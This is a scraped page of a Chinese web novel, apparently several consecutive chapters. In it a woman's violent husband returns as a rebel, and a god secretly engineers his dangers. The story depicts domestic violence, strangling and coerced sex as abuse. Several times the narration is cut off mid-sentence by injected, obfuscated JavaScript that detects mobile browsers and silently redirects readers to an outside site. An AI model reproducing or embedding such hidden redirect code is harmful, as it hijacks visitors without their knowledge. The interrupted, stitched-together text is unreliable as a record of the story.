偏偏在她这里,让她几句话,差点没气死过他去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594034|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他现在肚子里憋的气,去到田野间,都能犁五亩地。 贺平安半跪下来,猛地揪起她的衣领,狞笑道:“你当然盼着我做鬼了!这样你就能去京城,做你的权臣夫人了。你也算是去到了该去的地方,过上锦衣玉食的生活了。可是,老子明白地告诉你,老子没死!不仅没死,老子还跟着马逐龙的队伍起义了!” 花祝年扶着他的手,借力坐了起来。 “你怎么会,没死呢?” 贺平安看见她这一脸疑惑的样子,终于畅快了几分,他仰天大笑了几声:“不光老子没死,村子里那群跟我一起被抓的男人,也没死!” 花祝年顿生一股恶寒:“你在骗我。既然他们没死,怎么不来救自己的女人?他们到底知不知道,就在斩杀的当晚,家里的女人就被抢走了。” 贺平安狠戾地说道:“干大事儿的人,女人算得了什么?夫妻本是同林鸟,大难临头各自飞。就连你,如果不是我禁锢了你三十年,恐怕你早就跟了别人了吧!” 花祝年忽地扬起手扇了他一巴掌:“你乱说什么?” “不是吗?你不是一知道我被抓,就赶紧去攀高枝儿去了?当年没跟宋礼遇走,让你流落乡野之间三十年,你肠子都悔青了吧。” 不光薛尘是贺平安的心病,宋礼遇也是他的心病。 贺平安这一辈子,就光因为心病拧巴着了。 当初,她刚被他气得流掉第一个孩子,感情正是不稳固的时候。 宋礼遇就敢直接上门来要人。 当时,他还不怎么有权势,更何况是现在呢? 一个权臣抢走一个庄稼汉的妻子,是轻而易举的事。 甚至都不用抢,多少人就上赶着去送! 贺平安对自己终究是没有自信的。 他只觉得,她是他抢来的,是被他禁锢的,这才不情不愿地跟着他。 一个山野糙汉,既比不过白月光薛尘,又比不过痴心竹马宋礼遇。 他不知道她有什么理由选择他。在这段感情里,一直是,一边患得患失,一边发大疯。 偏偏花祝年的体质很特殊,她的确是很容易逼得周围人发疯的人。 无论是当初为她打架的老姐妹儿和吴凝,还是现在的王寡妇和囡吉,又或者是别的什么男人…… 她可以和每个人关系好,也可以和每个人关系都不好,就是不能对谁有所偏爱和照顾。 不然,总有一方会发疯。 贺平安一个劲儿地宣泄着自己的情绪。 仿佛这样就能将宋礼遇从她心里一点点挖出来。 可他不知道的是,她的内心,从来就没有过那个人。 他眷恋地抚弄着她的脸,难掩炫耀的心思:“就算是京城下来的令,又怎么样呢?乱世,基层本来就是失守的!谁还听他们的?老子和村子里的那群男人遇上了贵人,人家不仅没执行杀令,还暗中指了条明路给我们。不然,老子也不会再回来看你。只要老子活着,我们今生的缘分,就没尽!就是今生尽了,下辈子老子还缠着你!” 贺平安不是恶鬼。 可是,他做的事,比恶鬼还可怕。 没有谁受了这么重的伤,还不忘纠缠一个女人。 他不知疼,也不急着救治,只知道,自己很想她。 很想,很想她。 她是他的。 这辈子是他的,下辈子是他的。 就是下下下下下下下辈子,还是他的。 谁跟他抢,他就弄死谁! 75. 你不过是,看不起我! 花祝年觉得贺平安荒诞又可怜。 “下辈子的事,你说了又不算。这辈子都没过完,想什么下辈子?” 她是很务实的人,务实到只想今生,不想来世。 反正,她死后是不会投胎的。 哈哈哈哈哈! 这个乱世永远别想再拥有她,她是没有来世的人。 任他去哪里找,都是找不到她的。 这个破胎,谁爱投谁投,反正她不投。 花祝年轻而易举地无视了贺平安的威胁。 而这正是让他气急败坏的地方。 倘若她稍稍对他重视一点,可能他就会有几分对她实控的满足感。 偏偏她没有。 “好,那我们不说下辈子,就说这辈子!你这辈子,到死都得跟我过。你认不认?” 花祝年觉得这话问得可笑,她什么时候不认过了? 除去他被抓走的这些天,她不是一直在跟他过日子么? 她的确半点儿都不喜欢他。 可是,出于责任,她也没想过离开他。 当初,在她最需要钱的时候,他给了她葬薛尘的钱,还给她留出了一间供奉的书房。 只要他信守承诺,她也不会违约。婚姻,本就是契约关系。 贺平安见她迟迟不肯出声,气得晃了她几下:“你说话啊!你认不认?” “认。” 她的语气中没什么情绪,好像在说一件稀松平常的事一样。 不是认命,是认下自己跟他的交易。 她是商贾出身,家里做生意,童叟无欺。 自然不能欺负老实人。 三十年前,说得难听一些,她就是把自己卖给了他。 而且,根本没想过赎回来,因为只要不是那个人,跟谁过都一样。 经历过最初难以忍受的磨合期后,后面再发生什么,她也就无所谓了。 所以,这辈子,她是认这笔生意的。 没理由不认。 有时候,看起来花祝年对别人特别狠,可实际上,她对自己也相当狠。 狠到痛感出离出身体,只留下空洞的目光。 平静而麻木地承受一切。 在得到她的“认”字后,贺平安终于得到了些许的慰藉。 他用力地将她抱进怀里,差点没把花祝年憋死。 一口气硬生生地被顶了出去。 贺平安傻乎乎地哄她道:“只要跟对了贵人,我就能平步青云了。你踏实跟着我,我让你做将军夫人。前夫哥没让你做到的,我全都给你。年年,以后你想要什么,我都满足你。” 花祝年被挤在他的怀里,艰难地发声道:“贺平安,我腰疼。” 贺平安又用力地挤了她一下:“你怎么这么不解风情?我刚刚说的话,你到底听到没有?你重新回!” 她在他身前一边蛄蛹,一边抓挠道:“我是真的腰疼,你再勒就断了。我现在不怎么能用力。年纪大了,不比之前了。” 贺平安生气地松开了她:“你又在回避我的话!接受我的爱会死吗?” 花祝年坐在地上,轻揉着自己的后腰,犹豫再三后,还是忍不住劝他道:“我不是打击你。但是,这个马逐龙不是什么好人。我在老姐妹儿那里听说过他的。他之前的名字,叫马应龙!” “本来是个媚上欺下的小吏,眼看着世道越来越乱,他就动了起义的心思,把马应龙改成了马逐龙。这种心里全是生意的投机者,一看就不是什么刚烈的汉子,他肛裂倒还有点儿可能。” “跟着他这种人是不会有出路的!你别听他给你画的大饼,要你去赴死的时候,自然是什么好听说什么,什么话有劲儿讲什么。杀君马者道旁儿!” 贺平安跟花祝年的交流,向来是有代沟的。 要不然,也不会讲不了几句就吵起来。 他并不完全懂她话里的意思,只是尽力去理解,然后回过头看了一眼自己的战马:“这战马是我抢来的,杀了就杀了,我再另抢一头就是了。你担心这个干嘛?” “我不是说这个战马。我的意思是,你对马逐龙来说,是随时可以抛弃的玩意儿。他利用你的愤怒,来完成自己的目的。可最终,这天下也未必会落在他手上。” “马逐龙从来就不是什么贵人,所有的一切,不过是他跟兵营的反叛者,联合起来演了一场戏而已。你懂我的意思吗?” 花祝年也是刚刚才看明白的。 在这场戏里,被抢走的女人是最直接的牺牲品。当然,那群被利用的男人也是。 只不过,他们更晚一些才醒悟到。现在还痴迷在自己封侯拜相的春秋大梦里。 根本不在乎孩子老婆被人抢走了。 花祝年担心贺平安听不明白,对他解释道:“乱世造反三件套,就是这样的。神话,民愤,玉玺,缺一不可。他势必会说自己有天命在身,是驱逐真龙的人。之后,再利用一波又一波的民愤,再随便雕刻块玉玺,就这么水灵灵地称帝了。你跟这种人卖什么命呢?” “此人是宵小之辈,绝无翻身的可能。说得坦白一些,乱世,就是改朝换代,也从来是跟百姓没什么关系的。那些起义者,他们背后势必有资源支撑,支撑的背后是一个个世家大族。” “流水的皇帝,铁打的世家。不过是换了个国号而已,有些势力,从来就没有彻底地消亡过。他们一直在借壳附卵。” 贺平安头疼道:“这些打打杀杀的事,你们女人懂些什么?什么下蛋鸡卵的?” “不是,下蛋鸡卵。是借壳附卵!借助一个崭新的壳子,附着的还是那些旧卵。改朝换代了这么多次,宋礼遇为什么总是能越爬越高?他总是多方押注的,说不定,一些起义的地方,就有他的资助。” “眼看着这个王朝不行了,马上另投明主。他爹当年,虽说是个小县令,可就是靠着一手的消息,和精准的站位,才带着他们一家人翻身的。” “还有,宋礼遇虽然贪,但他多少是有些眼光的。我就这么说,马逐龙这种货色,他都不一定看得上,连得到他资助的可能都没有。” “于情于理,马逐龙都不可能成功。有些人一横空出世,失败就是注定的。” 这话虽然有些残忍,但却是事实。 世道本就是如此。既无心胸,又无眼光,完全利用百姓的愤怒去为自己征战,终将一败涂地。 今天晚上,大概是花祝年跟贺平安说得最多的话。 这么会儿讲的话,比半年的话都多。 可惜是对牛弹琴。 因为这段话的信息量太大,贺平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马逐龙救下了本就该斩的人,听起来多么振奋人心。 可是,听众并不知道,那些人被救下来后,为了顾全大局,全然不顾自己的妻子儿女。 硬生生地躲在阴沟里,眼看着愤怒积聚。 这很难评。 花祝年没办法评价对错。 但她知道的是,如果连枕边的人都救不了。 哪能信这些人会去救天下苍生呢? 百姓又怎么知道,这群人上去后,会不会再度背叛? 她觉得贺平安就跟魔怔了一样。 按理说,他早些年间,也不是没起过义。 应该能看透的。 怎么会在同一个坑里栽两次呢? 贺平安听完花祝年的话,沉默了好一会儿。 就在她以为他终于能听进去的时候,突然被他一巴掌拍去了棺材上。 脑瓜子撞得嗡嗡的。 他掐住她的颈:“你说这些,是为了宋礼遇,对不对?你怕我真的一举打到京城,把你的老相好弄下台!你在恐吓我!” 花祝年的沉默震耳欲聋。 可最后,还是勉强地出声道:“不是。” “那是什么?从一开始你就一直在帮宋礼遇讲话!你把他吹得好像是这个王朝的实际管控者一样。死老娘们儿,去一趟京城,把心留那里了吧!” 76. 我就是要变成他们 贺平安是很莽很莽的莽夫。 莽夫会变成凶狠的囚徒,会变成杀戮的工具,会变成尸山中的垫脚石…… 但绝不会长久地触碰到半分权力。 他们像健壮的飞蛾,轰轰地扑向火焰,成全他人的绚烂。 可到头来,黎明时刻,和飞蛾是毫无关系的。 贺平安不是唯一的莽夫,也并非最后的莽夫。 有成千上万的莽夫,从生下来的那一刻,注定接受不到良好的培养,只能拥有不那么完整的心智,被人一挑动就去送死了。 他们在斗兽场厮杀半生,也不会换取半分登上高台楼阁的机会。 那里是闲散客饮茶的地方。 高位者永远衣着光鲜,不染尘埃,睥睨地看着天下的棋局。 然后,在必要的时刻,再毁了这棋局。 天地的不公,就在于此。 给人以同样的皮囊,内里却暗藏不同的玄机。 来造就天差地别的际遇。 内心的一念之差,让他人几辈子都赶不上。 天上人用各自的心机和谋略,来耍弄得天下人团团转。 可暴虐强权的恭维者,只晓得撇齿拉嘴地教人认命。 花祝年觉得像贺平安一样的人,是非常可怜的。 可怜到,他甚至,听不懂她的话。 她说宋礼遇不好惹,他说她是喜欢他,还多番打骂于她。 老天奶,这是什么残暴恋爱脑? 她几乎要被他掐晕过去,挣扎着嘲讽他道:“就凭你们,也想打去京城。跟着马逐龙那种人,一无德,二无术,恐怕你们连这个镇子都出不了!” 贺平安听完不知想到了什么,蓦地松开了她。 花祝年摔落回地上。 猛烈的空气灌进胸腔中,冲击得她肺疼。 贺平安虽然鲁莽,但也并非全然对错不分。 马逐龙对他而言是贵人。 可是,马逐龙的儿子马速成,实在是个让人很难启齿的人。 他也是进了队伍里之后,才听说关于马速成的一些传言。 前些日子,花祝年曾去参加过一个老姐妹儿的葬礼。 那位老姐妹儿,死因不明。但是,从村医两口子那边得知,死前曾遭遇过侵犯。 贺平安听人说,马速成对年轻女子是没有兴趣的。 单单挑着老年人下手。 没有人知道原因。 有人猜测,是老年人比年轻少女省事儿,即便伤害了,也是少有人管的。 任其如何作践,都鲜有人为其出头。 更何况,现在是乱世,经常打仗,大多老年人的儿子都死了,是弱势群体中的弱势。 在初听到马速成的这些传言时,贺平安第一时间想到的就是花祝年。 可那时,他已经知道她跟京城的老相好成亲了。 当时,居然是愤恨又庆幸。 跟着宋礼遇那个老小子也好啊,起码能护得住她。 免她受人欺辱。 贺平安是爱她的,爱到自己无力拥有之际,才勉强让给别人。 可他也没闲着,一直铆足了劲儿往上爬,竟颇得马逐龙赏识。 也算是王八看绿豆,俩人看对眼儿了,蠢材识莽材吧。 他在最无能为力的时候,把她让了出去。 可终究是要抢回来的。 但不成想,还没等他打去京城,她就坐着马车回来了。 他并不知道她回来做什么,也不知道她会不会再离开。 只知道,家里没有男人的女人,是很危险的。 虽然马逐龙和兵营的反叛者早有勾结,可是,本来是不会这么早打回来的。 之所以在她回来的第三天攻打,是贺平安提议的。 他等不及要出现在她身边。 他想告诉她,他现在很受倚重,不比宋礼遇差! 今后,也不会比薛尘差到哪里去。 花祝年从未直接参与过任何起义,可她却直接着影响着局势的走向。 当朝太子在道观被砍的事,就已经让宋礼遇动了另扶明主的心思。 至于贺平安,也是为了能早日回家见她,提前带着人攻打回来占领据点。 不能说所有的一切都因她而起。 但她的确是重创腐朽帝国根基的关键人物。 只是这根基,本身也不怎么牢固就是了。 贺平安平日里常在马家父子面前,宣示对她的所有权。 哪怕当时谁都知道,她已经嫁了宋礼遇。 他动不动就在夜里喝醉了酒发狂,说是要提着刀砍了宋礼遇。 经常被手下人劝下来。 马逐龙和马速成也经常劝他,让他再忍一忍。 贺平安是个武力值爆表的疯子,在马家的阵营里是人尽皆知的事。 可实际上,他不过是在震慑马速成,让他不要对他的女人动不该有的心思。 劈不了宋礼遇,还劈不了你么? 马速成跟马逐龙不一样,是个有小聪明的人,私下里也常跟贺平安说心里话。 一再地表示自己从没盯上过花祝年。 他盯的,都是老实温婉了一辈子的老太太。像花祝年那种,三句话不离下三路的暴躁小老太,他不敢惦记。 贺平安没有说自己信,也没有说自己不信。 他只是反问道:“你不盯她,是怎么知道她讲话不离下三路的?不跟人打听她,怎么知道她性情暴躁的?” 马速成愣了好一会儿,才解释道:“你那婆娘经常仗着你耍贼横,这是镇子上大家都知道的事。上次吃个流水席,给人记账的后生,骂得都吐血了,那谁不知道啊?” 贺平安干了碗烈酒,把空碗往桌上一砸:“她没仗着我耍贼横,没我的时候,她也贼横!” 他不知是醉了,还是话里有话,竟罕见地跟外人说起往事来。 “我婆娘,当初敢捡罪臣的碎肢,那可是天下人都唾骂的男人,千百年都翻不了案的。人人避之不及,只有她拎了个筐就去了。我当时就觉得,这娘们儿也忒有种了,不愧是我看上的人。” 贺平安按着马速成的后颈:“幸好那罪臣早早地死了,他若是不死,别看他是什么护国将军,就算他是天王老子,敢跟老子抢女人,那也得干死他!男人连这点劲儿都没有,那还当什么男人?你说是不是?” 贺平安手劲儿大,再加上又喝了酒,没轻没重的,马速成被捏得连连称是。 可即便是马速成这样附和他,贺平安仍然不怎么放心。 刚把兵营的主力杀个七七八八,他就骑着抢来的战马回家了。 别人都在那里清理战场,拼命往自己身上捞人头,等着论功行赏。 他却只想回家看她。 她才是他此生最大的战利品! 哪怕被她这样嘲讽,他也毫不在意,跟随马逐龙的结局。 贺平安癫狂着说道:“就算跟着他打不出镇,我还可以跟随别人啊!这义我是起定了!你说他无德也好,说他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是!老子不仅要起义,老子还要一直起义,直到打到京城!老子若是当了皇帝,你就是皇后,老子若当了将军,你就是将军夫人。你不就是看宋礼遇有权有势,才跟他成亲么?以后老子混得不比他差,你就踏实跟着老子过。” “等老子攻上京城,那大宅子,大院子,就全是老子的!金银珠宝随你挑选。老子知道,你以前家境富贵,以后,老子照样让你过富贵日子。” 花祝年忽地冷笑道:“那你和宋礼遇有什么区别?” 怎么到头来,还是嫁了个这种玩意儿? 命运仿佛在捉弄她一样。 她避了宋礼遇三十年,到头来一个庄稼汉居然想要变成宋礼遇。 宋礼遇那种败类,人人得而诛之,有什么好? 贺平安捧着她的脸道:“没区别啊。之前有区别,之后就没区别了。你喜欢什么样的,我就变成什么样的!你喜欢宋礼遇,我就变成权臣,你喜欢前夫哥,我就变成大将军。” 她忽地甩了他一巴掌:“我没有喜欢宋礼遇,也早已经不喜欢薛尘了。为什么你就是不信?” 贺平安发疯道:“那你到底喜欢什么?你要是不喜欢他们,怎么可能嫁给他们?你至今都不喜欢我,还不是因为年少遇见了太惊艳的人!我就是要变成他们,我不可能一辈子都得不到你的爱。我不甘心!” “你真变成宋礼遇那样,我才是真跟你没法过了。” 贺平安又恼又慌道:“你说什么?” 之前他打过她那么多次,她都没有说出不跟他过这种话。 可今晚,居然就这么轻而易举地说出来了。 她重复道:“我没法跟你过了,也不想跟你过了。不管你信不信,我没有喜欢过宋礼遇。我很讨厌他,我最讨厌的,就是他这种人。” 贺平安根本不相信。 他完全听不了她说不跟他过这几个字。 花祝年被他一把扛了起来。 77. 他不喜欢我 人永远无法拥有超出自己认知之外的东西。 即便侥幸拥有在掌心,哪怕握得再紧,也终将在某一天失去。 就像,以贺平安的认知,他不知道她为什么不喜欢他,也不知道她跟他过日子的原因…… 他什么都不知道。 只是在她最窘迫的时刻,误打误撞拥有了她,不晓得要怎么爱才好。 在夫妻生活出现危机时,也只知道拙劣地模仿着,他以为她会喜欢的人。 这一点,宋礼遇就比他聪明许多。 宋礼遇知道她为什么不喜欢自己,知道她为什么不跟自己过日子。 只是,即便是知道,他也是不会改的。 不光她是个骄傲的人,他也是。 她的骄傲源于固执心性,他则是来自翻云覆雨的权力。 哪怕最终得不到的话,他就是摧毁她,也绝不会因她做出半分改变。 不过是个女人而已,就算是年少挚爱,也抵不过家族使命。 她是他从一开始就放弃过的。 不然,也不会娶三十多房妾室。宋礼遇是个正常的男人,自然也想享受到情爱的欢愉。 只是,他不怎么痴迷这些罢了。 对她的执念是有,可远远不到为她放弃自我的地步。 要他像贺平安一般,去模仿别人,活着成为别人…… 做梦!他绝不! 花祝年被扛得实在难受,她低头想狠咬他的背一口。 他大爷的,咬不动。 这绝不是她牙口不好的问题,是这老小子的背太结实了。 她看他后背上戳的银枪头,还簌簌地往外冒血。 就一点儿感觉都没有? 花祝年想要猛锤他的伤口一拳,可是又怕自己真的把他锤死了,最后只能挑着别处锤了一下。 “你要死了!放我下来。” 贺平安在进屋后,果然脚步顿了一下。 不过,不是因为她捶打他,他皮糙肉厚,半点都感受不到她的捶打。 之所以停下来,是他不想跟她去床上做,而是想换个地方。 花祝年被重摔在那张供奉薛尘的方桌上。 今晚,她没来得及将他收进柜子里。 因为是王寡妇和贺平安的大喜之日,她想把他摆出来,沾沾喜气。 还给他的身上,披了一张红布,倒更像个威风凛凛的将军了。 贺平安拿起那个小泥人儿,快要气死了。 “你倒是会精心打扮他,你就对他这么好?” 花祝年无奈道:“我对他怎么好了?只是给他披了层红布,这样也不行吗?” 贺平安声泪俱下地嘶吼着:“不行!你怎么不把薛尘许给王寡妇?偏偏把我许出去?你早就不想跟我过了!你怕我做鬼还来缠着你,所以才给我定这门亲事。” 把他就这样许出去,她多少还是有点心虚的。 当时,也没想到,他还能活着回来。 她避开了他痛苦的目光,将头扭向一旁。 “你为什么不看我,我要你看着我!到底为什么不想跟我过?我跟前夫哥哪里不一样,跟宋礼遇又哪里不一样?” “你不用和他们一样,我也不喜欢他们。” 贺平安掐住了她的脸:“你骗我。去了趟京城,你的心野了,已经野了!” 他恨恨地去噬咬她,被她挣扎着扇了一巴掌。 “我不在这里。” 贺平安心都碎了一地。 她不是说不跟他做。 而是说,她不在这里跟他做。 她还是怕前夫哥看到!都跟他睡了三十年了,她怎么还是惦记着他? 贺平安狞笑道:“我就要在这里做,我就要做给前夫哥看。你看他会不会来救你。” 花祝年的目光平静如秋水:“他为什么要来救我?” “你供奉了他三十年,怎么见你被我上,他都不来救你?可见,一切不过是你一厢情愿,他心里根本不承认你!人家是怎样的角色,生前好歹是护国大将军,你不过是一个漂泊的孤女,连葬他的钱都出不起!他怎么会看得上你?只有我,只有我才看得上你。” 花祝年气到极致,居然笑了出来。 贺平安本想看她失落,看她难过,却没想到会令她发笑。 他在她耳边,猛拍着桌子问她:“你笑什么?你到底在笑什么?” “他不喜欢我,又怎么样呢?我也不觉得有什么。就算是我一厢情愿,那不也是很好的事情吗?” “好什么?” “当你有资格,为一个人做事的时候,就是会觉得很好很好。” 花祝年的爱一点也不小气。 从不会因为对方不给回应,就暴跳如雷地收回。 她一生都大大方方的。 况且,那种爱,也并非全然是男女情爱。 “你为他做了这么多,他都不知道来救你。” 其实,这句话他说出来,都有些心疼了。 他都替她难受! “他不必在危急时刻救我。我供奉他只是为了送他封神,也不是要他时时念着我的。” 贺平安绝望至极,她的每一个字,都像是在告诉他,她有多爱前夫哥。 爱到,哪怕得不到任何回应,也还是那样痴愚地爱着他。 他痛苦地折磨着她。 桌上的泥像被震倒,她艰难地扯下它身上的红布,遮盖住它的眼睛。 却被贺平安一把扯开:“让他看!他连这点儿苦痛都忍受不了,还怎么成神?他还没我能忍!我忍了三十年,你没有一天是爱我的。” 衡羿的确是在看。 只是,看得并不如何真切。 他被天道绞成了肉泥,还被已经坠了魔的上衡带入了浮华之境中。 浮华之境是三界交融处,因为爱欲浓重且杂乱,可以躲避天道的窥探。 坠魔的上衡早已经过上老婆孩子热炕头的生活了。 他有三个儿子。 大儿子正跟着他一点点地拼肉泥。 其余两个小儿子,调皮地拿着衡羿的两只眼睛玩来玩去。 上衡一边拼,一边毒舌道:“你下来一趟,怎么也不找副好皮囊?找副好看的,说不定就能勾引到你的小妻子了。找副这么普通的,让人拼起来都没兴趣。” 轰地一下,肉泥溅了他一身。 上衡轻笑着抚落下去,好脾气地说道:“脾气见长啊。我以为,这辈子都不会见你发脾气呢。自我坠魔以后,常听那些仙说衡羿仙君,是历任以来脾气最好的。” 大儿子将衡羿的头拼好后,他这才终于能开口说话了。 第一句就是对上衡的质问:“为什么要救他?” 上衡拼凑着他的肩:“我哪里是在救他,明明是在救你。天道是没办法欺骗的,你自作聪明,以为只要漫天神佛看不出来,就能神不知鬼不觉地弄死他。现在怎么样,果然被绞成肉泥了吧。” 其实,兵革仙之前就颇为直白地点破过衡羿的腹黑心思。 只不过,他没有承认。 而那时就连一直在吃瓜的神魔,都不觉得衡羿会对贺平安起杀心。 大家都一直觉得他很有分寸,又勇又怂的那种。 可实际上,自从衡羿下来后,贺平安所遭遇的每一次危机,都不是白来的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628307|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>衡羿是天上的仙君,跟凡夫俗子抢妻子,会遭天道的惩罚。 所以,他不抢。但是,贺平安也不能活。只是,他也不能直接动手。 用一个最简单的意象来解释的话。 就像衡羿走过河边,漫不经心地往河面上丢了一颗石子,为的是打自己在河中的倒影。 在天道看来,这是很无聊的事,并不需要受任何惩罚。 没有哪一条天条规定,神仙不能拿石子打水漂。 但真实的情形是,衡羿丢下的石子,表面看是砸中了自己的倒影。 但倒影下有一只小鱼,小鱼被砸痛后又开始胡乱冲撞。 撞到一只昏睡的大鳄鱼。 而恰在此时,贺平安要渡河,鳄鱼张开口就将他吞了下去。 看吧,毫无破绽。 无论如何追究,贺平安都是被鳄鱼吃掉的。 再不济,再往前追究一层,是小鱼冲撞了鳄鱼。 那还能往前追究吗? 一条鱼的游动,不还是随便游的? 而那枚砸向衡羿倒影的石子,早已经沉入了河底。 再也不会出现。 神若想弄死一个凡人,是轻而易举的事。 可若是想遮遮掩掩地弄死一个凡人,那就需要动一番脑筋了。 衡羿下来后,就一直在动脑筋。 贺平安遇到的每一件事,甚至是让他身处险境的事,都绝非偶然。 而是有人漫不经心地打了个水漂,然后通过一系列的反应,轰地一下就落到了他的头上。 衡羿不单单要瞒过天道,还要瞒过漫天神佛,就连魔界的精怪也要瞒着。 最重要的,是瞒过花祝年。 因为,他深知,她不会喜欢一个,为了她而触犯天规的神仙。 哪怕是薛尘也不行。 否则,那跟宋礼遇又有什么区别呢? 以精巧缜密的心思,对着愚蠢莽撞的凡人,进行着降维打击。 她不喜欢那样的仙君。可他,是想永远被她喜欢的。 衡羿的心思有多深呢? 其实,本来宋礼遇是没有对贺平安下杀心的。 在发布命令之前,他找衡羿去谈了谈,打探一下他们夫妻之间的关系,近来如何。 衡羿本可以如实相告,说花祝年从未喜欢过贺平安。 但他没有。 他当时说的是:“他们的感情多深,我只是个外人,并不清楚。但是,能让一个病痛缠身的小老太,长途跋涉地走近两个月,也要救的人,应该是很难忘的。他跟她,毕竟,生活了那么久。” 当时,他说完后,为了掩饰自己的心思,不至于遭天道的惩罚。 还颇为恳切地求宋礼遇,要他务必把人给救下来。 不然,花祝年是活不成的。 他就这样,一句句地,将贺平安和那些人推向了死局。 衡羿并没有直接参与杀人的过程。 他只是,多说了几句,揣测的话而已。 这样的话,无论放到哪里,都是挑不出错处的。 在漫天神佛眼里,他越是没用,越是窝囊,贺平安就死得越快。 只是,这样的招数用一次两次,或许没有人发现。 可用得多了,就算别人察觉不到,天道是能觉察出来的。 就像当初没有放过有所保留的小枣树精一样。 此刻,天道也没有放过衡羿。 哪怕,他是它在一众修仙者中,精心挑选的继任者。 可做错了事,也是要罚的。 天道何曾绕过谁呢?任凭你得天独厚,秉性纯良,可功过毕竟不能相抵。 78. 行 无论他再如何不愿意承认,此番他下来,干的就是抢夺人妻子的勾当。 就算包装得再美好,也是在拆散人家的家庭。 对贺平安一个庄稼汉来说,不仅有神觊觎他的妻子,还屡次陷他入险境,这怎么看都是很欺负人的事。 衡羿夺妻,跟宋礼遇夺妻,本质上倒也没什么不同。 都是不在乎她男人死活的。 甚至,非常希望他死。 贺平安可能就是感知到了什么,但是又没办法确定,到底是谁在暗暗搞他。 这才屡屡发疯。 他满腔的情绪无处发泄,只知道莽撞地爱她,将她弄得遍体鳞伤。 一个不会爱的人,留住人的方式,就只有恐吓。 而前面那么多次,天道都没有真正地降下惩罚。 除去衡羿做得不太明显之外,还有贺平安也没有真正地受到什么伤害。 这次之所以引得天怒,是贺平安的确在兵营里,被衡羿害得死了一次。 是上衡施法用保住了他的心脉,所以贺平安的身上,有隐隐的魔气。 不然,别的伤,就先不说了,光心口处的致命伤,就足以让他摔下马。 可他感觉不到任何疼,银枪还被天雷给劈断了,只留了个头嵌在了那里。 对他的生活造不成影响,衡羿这才有被上衡拼凑起来的机会。 上衡拼得很是细致,一边拼一边劝他:“其实,见好就收吧。你这次回天上,就当什么事都没发生过。毕竟,贺平安没死,天道也惩罚过了,你就别惦记别的了,继续当三界敬仰的无上神君不好吗?非要老了老了,弄得晚节不保。” “你要我回去?” “不然呢?你留下来,又能做什么?还想再被绞成肉泥啊?贺平安可命硬着呢。就是你的小妻子死了,他都未必会死。” 衡羿没有回答。 上衡又劝他道:“我想,这恐怕,也是天道的旨意吧。趁你还没犯下大错前,让你继续回去履行神职。” 两个儿子手里拿的眼珠,忽地从他们的掌心蹦出来,胡乱地在房间乱窜着。 仿佛在发泄着怒火。 “我回去,她怎么办?她就要死了!死前还要被他这样对待吗?她供奉了我三十年,我、我甚至,不能救她。一次,一次都没有过!” 不过,小孩子到底精力旺盛,再次紧捏在了掌心中。 只是,怎么感觉湿漉漉的? 上衡叹了口气:“一个女人而已,至于么?跟你冗长厚重的修道生涯比起来,又算得了什么呢?不过是须臾之间。” 当初,衡羿这孙子,就是这样劝他的。 结果,直接让他喜当爹。 喜当爹倒也不是不好,上衡还挺喜欢自己这个大儿子的。 只是白白地跟妻子,错过了三百年时光。 现在也轮到他来劝他了。 私心上来讲,他是希望他能割舍的。 当初他们一起修道,经历了万劫的时光,总不能到最后都坠魔了。 可从情感上来说,上衡也希望衡羿能幸福。 毕竟,他一只鹤,实在是孤单了太久。 上衡从没见衡羿对哪个女子如此上心过。 就连当初轮回转世的那些,就算再如何地刻骨铭心,一旦他回到天上,断了就是永远断了,再不曾想起。 只有花祝年,让他想了又想。 本来以为把关于她的影像,从虚空镜上毁了就好了。 结果删了还是想,直接跑下来找她了。 这老神仙的凡心动起来,真是要命啊。 唉。 不过,本着同日的情谊,上衡还是尽量往正道上引他。 免他一瞬间,真的堕入情网。 再也逃不出来。 那他就会跟他一样,成为三界最大的笑话。 “你只是下了趟凡间,所以才会这样。等你回到天上就好了。” “你在天上的时候,又不是没见他俩睡过。” “人家两口子,都睡了三十年了。轮得到你下去拆散?” “再者说,天地不仁以万物为刍狗。你在这个位置上,是不能对人动感情的。怎么可以偏爱你的小妻子呢?这不仅对她来说,是场极致的灾难,对你自己也是啊。你就把他们,看成两根杂草,在风中黏蹭,看成猫狗交欢,不行吗?” 行。 怎么不行呢? 衡羿之前在天上,就是一直这样看待他们的情事的。 不然,也不会忍了三十年。 他没有把她当成他的妻子。 她对他而言,是风,是草,是猫,是狗…… 是自然中的万物,有着命定的运行轨迹。 唯独,不是人。 他没办法把她当成人来看。 不然,一天都忍不了。 没有任何一个男人,可以看着自己的妻子,被另一个男人以极其残忍的方式,不曾间断地睡了三十年。 他受不了。 上衡看他这死寂一般的表情,又想说些什么来劝他,却被衡羿无情地打断:“快拼吧。拼完,我还有事儿呢。” 上衡的大儿子,拼得很是卖力。 他知道自己不是他和娘的亲儿子,这些年来,一直谨小慎微地活着。 两个弟弟,可以放肆地扔着这个人的眼珠玩。 